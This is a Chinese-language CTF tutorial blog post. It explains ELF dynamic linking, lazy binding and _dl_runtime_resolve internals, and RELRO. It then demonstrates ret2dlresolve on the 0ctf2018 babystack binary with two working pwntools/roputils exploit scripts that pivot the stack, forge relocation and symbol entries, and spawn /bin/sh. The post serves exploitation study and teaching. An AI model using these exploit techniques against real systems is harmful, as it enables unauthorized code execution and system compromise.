dynamic段是动态链接中最重要的段,它记录了和动态链接有关的段的类型,地址或者数值,指向了与动态链接相关的段

dynamic段包含了以下结构的一个数组:

1
2
3
4
5
6
7
8
9
typedef struct {
Elf32_Sword d_tag;//如果是64位系统就改为Elf64
union {
Elf32_Sword d_val;//那些Elf32_Word object描绘了具有不同解释的整形变量
Elf32_Addr d_ptr;//那些Elf32_Word object描绘了程序的虚拟地址
} d_un;
} Elf32_Dyn;

extern Elf32_Dyn _DYNAMIC[];

Elf_Dyn结构体由一个类型值加上一个附加的数值或指针组成

对每一个有该类型的object,d_tag控制着d_un的解释

d_tag类型 d_un的定义
#define DT_STRTAB 5(0x5) 动态链接字符串表的地址,d_ptr表示.dynstr的地址 (Address of string table)
#define DT_SYMTAB 6(0x6) 动态链接符号表的地址,d_ptr表示.dynsym的地址 (Address of symbol table)
#define DT_JMPREL 23(0x17) 动态链接重定位表的地址,d_ptr表示.rel.plt的地址 (Address of PLT relocs)
#define DT_RELENT 19(0x13) 单个重定位表项的大小,d_val表示单个重定位表项大小 (Size of one Rel reloc )
#define DT_SYMENT 11(0xb) 单个符号表项的大小,d_val表示单个符号表项大小 (Size of one symbol table entry )

32位:

64位:

​ //64位和32位有些许不同:32位,DT_RELENT(0x13);64位,DT_RELAENT(0x9)

现在开始对最为重要的3个表进行介绍:

重定位表(jmprel) :位于rel.plt段,有结构体 Elf_Rel ,中包含了需要 重定位的函数 的信息

1
2
3
4
5
typedef struct {
Elf32_Addr r_offset; // 重定位入口的偏移
Elf32_Word r_info; // 重定位入口的类型(低8位,1字节)
// 符号在符号表中的下标(高24位,3字节)
} Elf32_Rel;

​ //程序将对got表进行重定位,所以got表首地址就是“重定位入口”

符号表(symtab) :位于dynsym段,有结构体 Elf_Sym ,用于记录符号的关键信息

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; //表示该成员在字符串表中的下标
Elf32_Addr st_value; //将要解析的函数在libc中的偏移地址
Elf32_Word st_size; //符号长度
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym;

字符串表(strtab):位于dynstr段,无结构体,用于存储存储dysym符号表中的符号

参考:

http://blog.chinaunix.net/uid-1835494-id-2831799.html


延迟绑定

Lazy Binding机制(延迟绑定):即只有函数被调用时,才会对函数地址进行解析,然后将真实地址写入GOT表中,第二次调用函数时便不再进行加载

程序第一次识别函数“function”时,跳转plt表,然后跳转got表,接着返回plt[0],执行“lookup”

​ //检查函数“lookup”可以获取“function_libc”并执行,还会把它写入got表

在IDA中打开公共plt表:(plt[0])

push,jmp指令后就是got表地址

现在看上去这里没有东西,这是因为Lazy Binding在函数调用时才会进行解析

got表地址中:

got[0]:.dynamic段的起始地址

got[1]:link_map

got[2]:_dl_runtime_resolve 函数

got[3-n]:剩余的got表

在jmp指令执行后,相当于执行 _dl_runtime_resolve( link_map,reloc_arg )

注意:在被调用函数 自己的plt表 中会push一个值,然后在 公共plt表 中又会push一个值

​ //其实dl_runtime_resolve就是检查函数“lookup”

参考:https://www.cnblogs.com/unr4v31/p/15168342.html


分析dl_runtime_resolve

_dl_runtime_resolve用于对动态链接的函数进行重定位,是一段汇编语言

1.link_map_obj:结构体link_map,包含了动态装载器加载ELF对象需要的全部信息

2.reloc_arg:可以找到文件中.rel.plt表 ,标识了解析哪一个导入函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
   .text
.globl _dl_runtime_resolve
.type _dl_runtime_resolve, @function
.align 16
cfi_startproc//所有cfi开头的指令和函数检测有关,即GNU Profiler,这里不关心
_dl_runtime_resolve:
cfi_adjust_cfa_offset(16)
subq $56,%rsp//rsp-56(上移7个地址空间)
cfi_adjust_cfa_offset(56)
//分别把rax,rcx,rdx,rsi,rdi,r8,r9,装入栈
movq %rax,(%rsp) // rsp+00|rax
movq %rcx, 8(%rsp) // rsp+08|rcx
movq %rdx, 16(%rsp) // rsp+16|rdx
movq %rsi, 24(%rsp) // rsp+24|rsi
movq %rdi, 32(%rsp) // rsp+32|rdi
movq %r8, 40(%rsp) // rsp+40|r8
movq %r9, 48(%rsp) // rsp+48|r9
movq 64(%rsp), %rsi//rsp+64->rsi(第2个参数:标识了解析哪一个导入函数)
movq 56(%rsp), %rdi//rsp+56->rdi(第1个参数:获取解析导入函数所需的信息)
call _dl_fixup//核心,用于解析导入函数的真实地址
//把保存在栈上的数据恢复
movq %rax, %r11
movq 48(%rsp), %r9
movq 40(%rsp), %r8
movq 32(%rsp), %rdi
movq 24(%rsp), %rsi
movq 16(%rsp), %rdx
movq 8(%rsp), %rcx
movq (%rsp), %rax
addq $72, %rsp//rsp+72
cfi_adjust_cfa_offset(-72)
jmp *%r11 // Jump to function address
cfi_endproc
.size _dl_runtime_resolve, .-_dl_runtime_resolve

_dl_fixup:

1
2
3
#define ElfW(type)  _ElfW (Elf, __ELF_NATIVE_CLASS, type)
#define _ElfW(e,w,t) _ElfW_1 (e, w, _##t)
#define _ElfW_1(e,w,t) e##w##t
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
ElfW(Addr) __attribute ((noinline)) _dl_fixup ( struct link_map *__unbounded l, ElfW(Word) reloc_arg)
//ElfW为宏定义,用于根据32位或64位的计算机获取最终的变量
{
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//通过参数link_map获取了‘symtab’和‘strtab’
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
//1.首先通过参数reloc_arg计算:对应的Elf_Rel结构体
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
//2.然后通过reloc->r_info找到:对应的Elf_Sym结构体
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
//这里通过r_offset获取了got表地址(不是重点内容)
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);
//3.接着通过strtab + sym->st_name找到符号表字符串,result为libc基地址

value = sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0;
//4.value为libc基址加上要解析函数的偏移地址(st_value),也即实际地址
}
else
{
value = l->l_addr + sym->st_value;
result = l;
}

return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
//5.最后把value写入相应的GOT表条目中,并执行(不是重点内容)
}

简单来说:

1.dl_fixup会根据参数link_map可以找到.dynamic的地址

2.根据.dynamic的地址分别找到.rel.plt,dynsym,dynstr的地址

3.通过“_dl_lookup_symbol_x”计算出libc基地址,计算得目标在libc中的真实地址

4.最后写入got表

参考:

AT&T汇编:https://www.jianshu.com/p/0480e431f1d7

Link Map:https://www.shuzhiduo.com/A/Ae5RgZDrdQ/

重定位入口:https://www.cnblogs.com/fr-ruiyang/p/10457817.html


数据索引流程

不管是在dl_runtime_resolve中,还是在_dl_fixup中,都有许多“数据识别”的操作

函数_dl_runtime_resolve执行时,它需要知道搜索哪一个函数,获取对应的 符号真实地址 等信息,这些都需要进行“数据识别”,那么对于每一个函数,必须有可以唯一确定它的身份的标识信息,同样,在“jmprel,symtab,strtab”中也必须有对应的标识信息来索引正确的数据

这个 “标识信息” 就是各个表中,各个元素的下标

然后我们就通过分析dl_runtime_resolve的执行过程来了解下标的作用:

1
2
3
4
const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]);
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//‘symtab’和‘strtab’分别为symtab和strtab的基地址
//D_PTR (l, l_info[DT_XXXX]:用于获取'symtab','strtab','jmprel'的首地址

1.dl_runtime_resolve在搜索某个函数时,首先需要获取它在jmprel中的位置

1
2
3
const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) +
reloc_offset);
//首先获取'jmprel',然后加上'reloc_offset'就是目标函数在jmprel中的地址了

这里的“reloc_offset”就是目标函数在jmprel中的下标,同时也是“reloc_arg”

“reloc_offset” + “jmprel” = “目标函数在jmprel中对应的位置”,保存于指针reloc中,指向对应结构体Elf_Rel

2.通过结构体Elf_Rel中的信息,获取dynsym中目标符号的位置

1
2
3
4
5
typedef struct {
Elf32_Addr r_offset; // 重定位入口的偏移(可以定位got表地址)
Elf32_Word r_info; // 重定位入口的类型(低8位)
// 符号在符号表中的下标(高24位)
} Elf32_Rel;
1
2
3
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
//reloc->r_info:存储有‘目标符号在符号表中的下标’
//相当于*sym = symtab[index],直接获取了目标符号的Elf_Sym结构体

计算“r_info >> 8”得到目标函数在symtab中的下标(index)

“symtab[index]” = “目标符号在symtab中对应的位置”,保存于指针sym中,指向对应结构体Elf_Sym

3.通过结构体Elf_Sym中的信息,获取关键信息,并计算出 libc基地址

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; //表示该成员在字符串表中的下标
Elf32_Addr st_value; //将要解析的函数在libc中的偏移地址
Elf32_Word st_size; //符号长度
unsigned char st_info;
unsigned char st_other;
Elf32_Section st_shndx;
}Elf32_Sym;
1
2
3
result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,version, ELF_RTYPE_CLASS_PLT, flags, NULL);
//sym->st_name:存储有‘该字符串在字符串表中的下标’
//_dl_lookup_symbol_x根据多种信息得出libc基地址,保存于result中

这里的“st_name”就是目标字符串在strtab中的下标

“st_name” + “strtab” = “对应的字符串”,传入_dl_lookup_symbol_x,而这个函数可以根据:link_map,sym(指向结构体Elf_Sym),version(版本信息),flags(标志)等各个信息综合分析,最终获取libc的基地址,保存于指针result中

4.根据libc基地址获取目标函数的真实地址

1
2
value = sym ? (LOOKUP_VALUE_ADDRESS (result)+ sym->st_value) : 0;
//sym->st_value:存储有将要解析函数的偏移地址(和‘下标’不同)

“result” + “st_value” = “目标函数在libc中的真实地址”,存储于value中

5.图表如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
     _dl_runtime_resolve(link_map, reloc_arg)
+
+-----------+ | #jmprel[0]+reloc_arg
| Elf32_Rel | <--------------+
+-----------+
+--+ | r_offset | +-----------+
| | r_info | +----> | Elf32_Sym | #libc_base+st_value
| +-----------+ +-----------+ +----------+
| .rel.plt | st_name | +--> |'system\0'|
| | | +----------+
v +-----------+ .dynstr
+----+-----+ .dynsym
| <system> | #symtab[index]
+----------+
.got.plt

总而言之:

传入参数reloc_arg就是重定位表的下标

“Elf32_Rel -> r_info” 的高24字节就是字符表的下标

“Elf32_Sym -> st_name” 就是字符串表的下标

​ //在上一个表中,存储有下一个表的下标


RELRO保护机制

系统保护机制 RELRO(Relocation Read-Only,重定位只读)

RELRO有3种形式:

1.No RELRO:

没有RELRO,.dynamic段可写,所以我们可以任意修改GOT表/plt表

2.Partial RELRO:

部分RELRO,.dynamic段不可写,不能修改plt表但是可以修改GOT表, 该ELF文件的各个部分被重新排序

3.FULL RELRO:

完全开启RELRO,启后 立即绑定 函数地址,.got段只读不可写,该ELF文件的各个部分被重新排序

FULL RELRO 可以限制 ret2dlresolve ,但是 Partial RELRO 是没有影响的


深入理解ret2dlresolve

ret2dlresolve通常有3种思路:

思路 1 - 控制dynamic(直接修改got表)

思路 2 - 控制重定位表项的相关内容

思路 3 - 伪造 link_map

这里我们重点分析“思路 3”:

函数_dl_runtime_resolve( link_map,reloc_arg )有一个漏洞:

​ //如果是32位系统,字长就变为4

它的参数都是直接从栈上取的,这样我们伪造栈,就可以伪造参数了

​ //栈顶为link_map,下一个栈空间就是reloc_arg

为了实现这一点,必须先进行栈转移来实现“完全控制”(输入值可以控制栈顶)

这里我们用经典题目 0ctf2018 babystack(32位)来介绍 ret2dlresolve 的过程:

此题的源文件很简单,就一个read函数,没有任何东西

1
2
3
4
5
6
7
8
9
10
11
12
int main()
{
alarm(0xA);
myread();
return 0;
}

ssize_t myread()
{
char buf[40];
return read(0, buf, 0x40);
}

先看常规攻击的exploit:(思路 3 - 伪造 link_map)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

p = process("./ret2dlresolve")
elf = ELF("./ret2dlresolve")

bss_addr = 0x0804a000
bss_stage = bss_addr + 0x800

read_plt = elf.plt["read"]

pop_ebp_ret = 0x080484eb
leave_ret = 0x080483a8

#伪造read(0,bss_stage,100),同时完成栈转移bss_stage
payload = 'a'*0x28
payload += p32(bss_stage)
payload += p32(read_plt)
payload += p32(leave_ret)#read执行完成后,执行leave_ret
payload += p32(0)
payload += p32(bss_stage)
payload += p32(100)
print hex(len(payload))
p.send(payload)


dynsym = 0x080481cc
dynstr = 0x0804822c
plt_0 = 0x080482f0 #plt[0]的第一个地址
rel_plt = 0x080482b0 #重定位表的起始地址
#伪造‘重定位表的下标’(.rel.plt)
index_offset = (bss_stage + 28) - rel_plt #index_offset => bss_stage+28


fake_sym_addr = bss_stage + 36 #伪造Elf_sym的地址:bss_stage+36
align = 0x10 - ((fake_sym_addr - dynsym) & 0xf) #对齐到0x10字节
fake_sym_addr = fake_sym_addr + align
#伪造‘符号表的下标’(.dynsym)
index_dynsym = (fake_sym_addr - dynsym) / 0x10 #index_dynsym => bss_stage+36


fake_str_addr = fake_sym_addr + 0x10 #伪造str的地址:bss_stage+36+16
#伪造‘字符串表的下标’(.dynstr)
st_name = fake_str_addr - dynstr #st_name => bss_stage+36+16
#伪造Elf_sym结构体
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12) #长16字节


alarm_got = elf.got["alarm"]
#利用index_dynsym,逆向运算伪造r_info
r_info = (index_dynsym << 8) | 0x7 #左移8位,末尾3位全变为1
#伪造Elf_Rel结构体
fake_reloc = p32(alarm_got) + p32(r_info)


#payload构造
payload = 'a'*0x4 #位于bss_stage+0
payload += p32(plt_0)
payload += p32(index_offset) #index_offset -> bss_stage+28 -> fake_reloc
payload += 'aaaa'
payload += p32(bss_stage+80) #bss_stage+80 -> /bin/sh
payload += 'aaaa'
payload += 'aaaa'
payload += fake_reloc #位于bss_stage+28
payload += 'a'*align
payload += fake_sym #位于bss_stage+36(长16字节)
payload += "system\x00" #伪造函数字符串 #位于bss_stage+36+16
payload = payload.ljust(80,'a') #补齐80字节
payload += "/bin/sh\x00" #伪造参数字符串 #位于bss_stage+80
payload = payload.ljust(100,'a')
p.sendline(payload)

p.interactive()

根据 延迟绑定 机制,程序第一次调用某个函数时会调用函数 _dl_runtime_resolve 来获取它的真实地址,ret2dlresolve 也是在这一步动手脚,通过控制栈中的数据来伪造 _dl_runtime_resolve 的参数

1
2
3
payload = 'a'*0x4					
payload += p32(plt_0) #伪造link_map
payload += p32(index_offset) #伪造reloc_arg

ret2dlresolve根据参数reloc_arg可以获取“Elf_Rel”,“Elf_Sym”,“str”等数据的地址

而我们通过栈转移把使SS:SP指向fake_stack,然后伪造“Elf_Rel”,“Elf_Sym”,“str”,最后伪造函数reloc_arg来误导程序把“aaaa”重定位成“system(‘/bin/sh’)”

​ //为什么这里是“aaaa”,在最后说明

先看正常的调用栈:

1
2
3
4
0000| 0xffffcf24 --> 0xf7ffd990 --> 0x0   	 //link_map
0004| 0xffffcf28 --> 0x8 //reloc_arg
0008| 0xffffcf2c --> 0x0 //返回地址
0012| 0xffffcf30 --> 0x0 //参数

再看伪造后的调用栈:

1
2
3
4
0000| bss_stage+4  --> plt_0 --> 0x0   	 
0004| bss_stage+8 --> index_offset
0008| bss_stage+12 --> 'aaaa'
0012| bss_stage+16 --> bss_stage+80 --> "/bin/sh\x00"

伪造reloc_arg为index_offset,欺骗程序把“bss_stage+28”处的内容识别为Elf_rel

伪造Elf_rel中的r_info,欺骗程序把“bss_stage+36”处的内容识别为Elf_sym

伪造Elf_sym中的st_name,欺骗程序把“bss_stage+52”处的内容识别为str

1
2
3
4
5
6
7
8
9
10
11
0000| bss_stage+20 --> 'aaaa'
0000| bss_stage+24 --> 'aaaa'
0000| bss_stage+28 --> fake_reloc->alarm_got(r_offset)//伪造Elf_rel
0000| bss_stage+32 --> fake_reloc->r_info(r_info)
0000| bss_stage+36 --> fake_sym->st_name(st_name)//伪造Elf_sym
0000| bss_stage+40 --> fake_sym->st_value(0)
0000| bss_stage+44 --> fake_sym->st_size(0)
0000| bss_stage+48 --> fake_sym->st_shndx(0x12)
0000| bss_stage+52 --> "system\x00"//伪造str
0000| bss_stage+56 --> ........
0000| bss_stage+80 --> "/bin/sh\x00"

一连串的伪造,最终欺骗程序把“aaaa”重定位为“system”,又因为dl_runtime_resolve会在重定位完成以后重新执行函数,所以可以获取shell

ret2dlresolve的利用过程很复杂,需要伪造相关的数据结构,但又比较固定,所以有许多工具来帮助我们实现ret2dlresolve,避免繁杂重复的过程

1.Pwntools中有专门针对ret2dlresolve的模块 >> Ret2dlresolvePayload

2.roputils就是为ret2dlresolve而生的

利用工具攻击的exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#coding:utf-8
import sys
import roputils
from pwn import *

offset = 44
readplt = 0x08048300
bss = 0x0804a020
vulFunc = 0x0804843B # Attackeds function

p = process('./ret2dlresolve')

rop = roputils.ROP('./ret2dlresolve')# ROP module + roputils module
addr_bss = rop.section('.bss')

buf1 = 'A' * offset
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
# fake:read(0,addr_bss,100)
p.send(buf1)
#套路固定
#----------------------------------------------------------------#
buf2 = rop.string('/bin/sh') #addr_bss+0 -> '/bin/sh'
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(addr_bss+20, 'system') #addr_bss+20 -> 'system'
buf2 += rop.fill(100, buf2)
p.send(buf2)
#----------------------------------------------------------------#

buf3 = 'A'*offset + rop.dl_resolve_call(addr_bss+20, addr_bss)
p.send(buf3)
p.interactive()

注意:

32位依照这样打就可以了,但64位在这种情况下,如果像32位一样依次伪造reloc,symtab,strtab,会出错,原因是在_dl_fixup函数执行过程中,访问到了一段未映射的地址处

本篇博客重点介绍原理,所以就不介绍64位的情况了

今后我会在实战中

参考:

https://www.cnblogs.com/unr4v31/p/15168342.htm

https://www.anquanke.com/post/id/184099#h3-2

https://blog.csdn.net/qq_51868336/article/details/114644569 (核心)


PS:

为什么程序会调用“aaaa”呢?

1
2
3
4
5
6
7
payload = 'a'*0x28					
payload += p32(bss_stage)
payload += p32(read_plt)
payload += p32(leave_ret)
payload += p32(0)
payload += p32(bss_stage)
payload += p32(100)

read_plt执行过程中,会输入新的payload到bss_stage中,执行结束后会返回leave_ret

这里的关键就是leave_ret,汇编语言leave本身会“pop ebp”一次,然后ret又一次“pop”控制ip指针

1.leave把bss_stage变为新的ebp,然后重置sp指针,这时bss_stage就是新的栈

2.ret则会把新的栈中的栈顶弹入ip指针

read_plt已经提前在它之中写入了数据:(节选)

1
2
3
4
5
payload = 'a'*0x4						  
payload += p32(plt_0)
payload += p32(index_offset)
payload += 'aaaa'
payload += p32(bss_stage+80)

所以指令ret会把 ‘aaaa’ 弹到ip寄存器中,而程序没法识别 ‘aaaa’ ,所以会把它当成一个新的函数,然后会调用 ret2dlresolve 去尝试重定位这个函数,这时伪装就成功了